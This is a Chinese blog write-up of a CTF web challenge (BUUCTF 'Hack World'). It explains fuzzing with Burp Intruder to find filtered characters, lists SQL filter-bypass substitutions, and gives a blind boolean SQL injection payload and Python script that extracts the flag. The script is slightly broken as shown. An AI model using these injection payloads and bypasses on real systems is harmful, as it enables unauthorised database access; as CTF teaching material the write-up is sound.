FUZZ题目讲解

FUZZ讲解


前言

何为Fuzz简单来说就是模糊测试


模糊测试(fuzz testing)是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试类型
就是一遍一遍的去尝试

使用方法

拿buuctf 一道注入题来说
[CISCN2019 华北赛区 Day2 Web1]Hack World
输入1,2,3
分别有不同显示内容分别是

  • Hello, glzjin wants a girlfriend
  • Do you want to be my girlfriend?
  • Error Occured When Fetch Result.

这里没有回显也没有报错信息 之后返回的不同字符用bool注入来做

先手动Fuzz一波 直接输入1or 1and 等等 来测试这些字符有没有过滤
发现都是 : SQL Injection Checked.
看来过滤了不少东西

总体来说就是先手工测试几个符号,大概看看有哪个被过滤掉了,然后在fuzz测试时,只要和你刚才测试的,length一样长的,就都是被过滤的。

上bp用intruder模块来爆破 看返回的长度
第一步
在这里插入图片描述
第二步
在这里插入图片描述
第三步 option 设为默认即可
最后 点击start attack 开始爆破

可以看到过滤了好多东西 在这里插入图片描述
还有 不同的respond 对应不同的返回长度

补充知识点

Bool注入基本基本流程是以字符注入为例

1'and if(substr(database(),%d,1)=%c,1,0)%(循环的值,循环的字符)#//如果为真 则返回 1 否则为0

在这里插入图片描述

这里先总结一下 过滤时候 代替的字符

  • 空格可以用() 来代替 还有/**/

  • 单引号 可以用16进制来代替

  • substr(str,1,1)可以用substr(str from 1 for 1)来代替

  • if(条件,1,2):意思是如果条件成立返回1否则返回2
    当他过滤时可以用case()when()then()else()end

  • = 可以用 regexp 或like代替

  • ord() 和ascii()互相替换

  • mid()和substr()互相替换

所以可以构造的pyload为

payload="3^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j)

因为 3^2 = 2 得到这串字符Do you want to be my girlfriend?

构造的代码

整体代码如下

import requests
flag = ''
url='http://e31a6985-b732-45cb-84f7-58fcdb1f7ed4.node3.buuoj.cn/index.php'
for i in range(1, 50):
    for j in range(33,128)://这个范围时可打印的所有字符

        payload="3^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j)
                data={
            'id':payload
        }
        s=requests.post(url,data=data)
        if 'Do you want to be my girlfriend?' in s.text:
            print(chr(j),end='')

这里我用二分法 不知道为啥没跑出来 所以智能用常规的来解

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值